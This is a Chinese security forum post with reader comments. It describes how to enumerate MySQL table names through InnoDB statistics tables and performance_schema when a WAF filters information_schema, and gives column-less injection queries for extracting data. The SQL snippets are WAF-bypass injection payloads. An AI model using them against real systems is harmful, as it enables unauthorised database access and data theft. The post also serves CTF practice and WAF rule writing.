MySQL另类方法获取元数据信息
问:在进行MySQL注入时,我们通常是通过information_schema元数据来获取表名、字段名信息,从而读取相应数据。但是如果waf或其它过滤了information_schema关键字,那么还有什么方法可以读取元数据信息呢?
答:从MySQL5.5开始,默认存储引擎称为InnoDB,但是在MySQL5.6及更高版本中,InnoDB创建了2个新表。 innodb_index_stats和innodb_table_stats。这两个表都包含所有新创建数据库名及表名。
select * from mysql.innodb_table_stats;
select * from mysql.innodb_index_stats;
select table_name from mysql.innodb_table_stats where database_name=schema();
performance_schema方法:
SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
表名知道了,那如何提取列名呢?根本不需要
探测字段个数,当然你也可以用order by, group_by:
select (select*from users limit 1)=(select 1);
select (select*from users limit 1)=(select 1, 2);
select(select a from(select 1 as a, 1 as b union select*from cms.src_user)x limit 1,1);
select(select b from(select 1 as a, 1 as b union select*from cms.src_user)x limit 1,1);
发表于国外最近某篇文章,觉得不错,实验了下发出来。
评论16次
这个不错,刚好用到
安全狗表示立马把innodb_table_stats加入规则
这两个表很快被waf和谐
ctf中遇见次数不少了,InnoDB注入和无列名注入
可以,还真没注意这个,记录一下,以后用得上
楼主,这个需要DBA权限才能查询吗?
老哥你把原文章的地址分享一下可以吗
恨不得把你们的技术都学走!!
学到了,新姿势
不知道sqlmap 有没有包进去
不错,学到了新知识,期待有机会实践下,嘿嘿
很不错的思路,版本要求还是蛮高的
innodb_index_stats和innodb_table_stats 这2个可以,能分享下原文就好了
最好贴个原文地址,每个人读后感不一样
好, 可以更新一下waf规则了, 把 innodb_index_stats和innodb_table_stats 这两个字符串加进去。
"发表于国外最近某篇文章" 有没有文章地址分享下